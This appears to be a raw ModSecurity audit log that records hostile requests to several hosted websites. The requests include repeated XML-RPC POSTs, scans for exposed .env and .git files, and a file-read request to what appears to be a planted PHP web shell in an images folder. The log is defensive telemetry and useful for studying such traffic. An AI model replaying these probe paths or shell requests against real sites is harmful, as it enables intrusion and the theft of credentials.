--e5acde4c-Z-- --96dfa37c-A-- [16/Jun/2025:07:18:30.053359 +0530] aE937fv_9qNKLXJRkuZggwAAAAs 128.199.112.101 58970 127.0.0.1 7081 --96dfa37c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --96dfa37c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --96dfa37c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE937fv_9qNKLXJRkuZggwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038509110070 943354 (- - -) Stopwatch2: 1750038509110070 943354; combined=2384, p1=417, p2=1619, p3=33, p4=49, p5=164, sr=136, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --96dfa37c-Z-- --fbcd4016-A-- [16/Jun/2025:07:18:30.276813 +0530] aE937ehCUAahT1nBjTYQUwAAAAM 185.177.72.210 33072 127.0.0.1 7081 --fbcd4016-B-- GET /.git/info/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fbcd4016-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7ddbf59c06df95f754cd3d5e24bad5381750038510; expires=Mon, 16 Jun 2025 02:48:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fbcd4016-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/info/"] [unique_id "aE937ehCUAahT1nBjTYQUwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038509584356 692518 (- - -) Stopwatch2: 1750038509584356 692518; combined=1659, p1=408, p2=1181, p3=0, p4=0, p5=69, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fbcd4016-Z-- --82b68f03-A-- [16/Jun/2025:07:18:37.851075 +0530] aE939TZ3uHeEW3BYvDO8VQAAAAA 185.177.72.210 33372 127.0.0.1 7081 --82b68f03-B-- GET /:10000/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --82b68f03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=02b6fa6a3a546d372870a687ce62e98e1750038517; expires=Mon, 16 Jun 2025 02:48:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --82b68f03-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/env/.env"] [unique_id "aE939TZ3uHeEW3BYvDO8VQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038517188890 662249 (- - -) Stopwatch2: 1750038517188890 662249; combined=1998, p1=445, p2=1436, p3=0, p4=0, p5=116, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --82b68f03-Z-- --abe33b3a-A-- [16/Jun/2025:07:18:50.118134 +0530] aE94Afv_9qNKLXJRkuZgjQAAAAs 185.177.72.210 55768 127.0.0.1 7081 --abe33b3a-B-- GET /:8443/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --abe33b3a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=75a6997580b3a919722b5f7eb81bade11750038529; expires=Mon, 16 Jun 2025 02:48:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --abe33b3a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/configurationtionura/.env"] [unique_id "aE94Afv_9qNKLXJRkuZgjQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038529380580 737619 (- - -) Stopwatch2: 1750038529380580 737619; combined=1976, p1=389, p2=1445, p3=0, p4=0, p5=141, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --abe33b3a-Z-- --d203851c-A-- [16/Jun/2025:07:19:30.451500 +0530] aE94KQS4XDlCv3KXioQHUAAAAAY 128.199.112.101 48806 127.0.0.1 7081 --d203851c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d203851c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d203851c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE94KQS4XDlCv3KXioQHUAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038569472558 978999 (- - -) Stopwatch2: 1750038569472558 978999; combined=2274, p1=376, p2=1485, p3=48, p4=63, p5=186, sr=98, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d203851c-Z-- --b478e47c-A-- [16/Jun/2025:07:19:46.204277 +0530] aE94OeMjvy_LHXlMeRAUzwAAAAU 185.177.72.210 56858 127.0.0.1 7081 --b478e47c-B-- GET /react/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b478e47c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=28d9dd651221adc1435be77480c6e1ec1750038586; expires=Mon, 16 Jun 2025 02:49:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b478e47c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/react/.env"] [unique_id "aE94OeMjvy_LHXlMeRAUzwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038585524181 680160 (- - -) Stopwatch2: 1750038585524181 680160; combined=1820, p1=392, p2=1330, p3=0, p4=0, p5=97, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b478e47c-Z-- --93dcea43-A-- [16/Jun/2025:07:19:57.744716 +0530] aE94RTZ3uHeEW3BYvDO8eAAAAAA 185.177.72.210 48064 127.0.0.1 7081 --93dcea43-B-- GET /news-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --93dcea43-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8b01c1289707ad29a24d8bc691ee4d841750038597; expires=Mon, 16 Jun 2025 02:49:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --93dcea43-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/news-app/.env"] [unique_id "aE94RTZ3uHeEW3BYvDO8eAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038597078800 665990 (- - -) Stopwatch2: 1750038597078800 665990; combined=1932, p1=378, p2=1456, p3=0, p4=0, p5=97, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --93dcea43-Z-- --c9dc2119-A-- [16/Jun/2025:07:20:03.639029 +0530] aE94SzZ3uHeEW3BYvDO8fQAAAAA 216.73.216.83 38674 127.0.0.1 7081 --c9dc2119-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fusr%2Fshare%2Fadduser&viewfile=%2F%2Fusr%2Fshare%2Fadduser%2Fadduser.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --c9dc2119-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4334 Connection: close Content-Type: text/html; charset=UTF-8 --c9dc2119-H-- Message: Warning. Matched phrase "usr/share/adduser/adduser.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: usr/share/adduser/adduser.conf found within ARGS:viewfile: /usr/share/adduser/adduser.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "usr/share/adduser/adduser.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: usr/share/adduser/adduser.conf found within ARGS:viewfile: /usr/share/adduser/adduser.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE94SzZ3uHeEW3BYvDO8fQAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750038603634020 5072 (- - -) Stopwatch2: 1750038603634020 5072; combined=2539, p1=376, p2=2001, p3=43, p4=51, p5=68, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c9dc2119-Z-- --45a9655e-A-- [16/Jun/2025:07:20:09.389810 +0530] aE94UDZ3uHeEW3BYvDO8ggAAAAA 185.177.72.210 39106 127.0.0.1 7081 --45a9655e-B-- GET /:80/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --45a9655e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4df45b0b1196bb610233e292853a4701750038609; expires=Mon, 16 Jun 2025 02:50:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --45a9655e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:80/.env"] [unique_id "aE94UDZ3uHeEW3BYvDO8ggAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038608664661 725224 (- - -) Stopwatch2: 1750038608664661 725224; combined=1702, p1=380, p2=1223, p3=0, p4=0, p5=98, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --45a9655e-Z-- --c3e17150-A-- [16/Jun/2025:07:20:10.472068 +0530] aE94Ufbo0R64L12N_alerwAAAAQ 185.177.72.210 42066 127.0.0.1 7081 --c3e17150-B-- GET /:8181/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c3e17150-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b25579954c0d2d0a638900fbfd232bc71750038610; expires=Mon, 16 Jun 2025 02:50:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c3e17150-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/staging/.env"] [unique_id "aE94Ufbo0R64L12N_alerwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038609734651 737523 (- - -) Stopwatch2: 1750038609734651 737523; combined=2286, p1=473, p2=1682, p3=0, p4=0, p5=130, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c3e17150-Z-- --cf678c10-A-- [16/Jun/2025:07:20:11.532943 +0530] aE94UokQyF8-ounHsxsILQAAAA8 185.177.72.210 42092 127.0.0.1 7081 --cf678c10-B-- GET /:8181/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf678c10-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=06978eb98b517252bba236234c5e1a251750038611; expires=Mon, 16 Jun 2025 02:50:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf678c10-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/audio/.env"] [unique_id "aE94UokQyF8-ounHsxsILQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038610815781 717235 (- - -) Stopwatch2: 1750038610815781 717235; combined=2441, p1=549, p2=1801, p3=0, p4=0, p5=91, sr=144, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf678c10-Z-- --9067da6f-A-- [16/Jun/2025:07:20:14.663248 +0530] aE94Vn9ZI6Q__Lo-KiYVQQAAAAc 185.177.72.210 42228 127.0.0.1 7081 --9067da6f-B-- GET /kodenames-server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9067da6f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=572e51004f4e00dadff9ba9a2acb6eac1750038614; expires=Mon, 16 Jun 2025 02:50:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9067da6f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/kodenames-server/.env"] [unique_id "aE94Vn9ZI6Q__Lo-KiYVQQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038614020022 643303 (- - -) Stopwatch2: 1750038614020022 643303; combined=1945, p1=411, p2=1430, p3=0, p4=0, p5=103, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9067da6f-Z-- --20b7e174-A-- [16/Jun/2025:07:20:19.848755 +0530] aE94W-hCUAahT1nBjTYQhAAAAAM 185.177.72.210 42448 127.0.0.1 7081 --20b7e174-B-- GET /crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --20b7e174-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6d139516e34ba0b8b5ba300c70361d5a1750038619; expires=Mon, 16 Jun 2025 02:50:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --20b7e174-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/crm/.env"] [unique_id "aE94W-hCUAahT1nBjTYQhAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038619186653 662166 (- - -) Stopwatch2: 1750038619186653 662166; combined=1900, p1=394, p2=1416, p3=0, p4=0, p5=89, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20b7e174-Z-- --1fcb2f53-A-- [16/Jun/2025:07:20:22.378281 +0530] aE94XeMjvy_LHXlMeRAU4gAAAAU 185.177.72.210 48616 127.0.0.1 7081 --1fcb2f53-B-- GET /:8000/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1fcb2f53-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=90ed0420c3718b7c20a51fd92bb6178c1750038622; expires=Mon, 16 Jun 2025 02:50:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1fcb2f53-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file 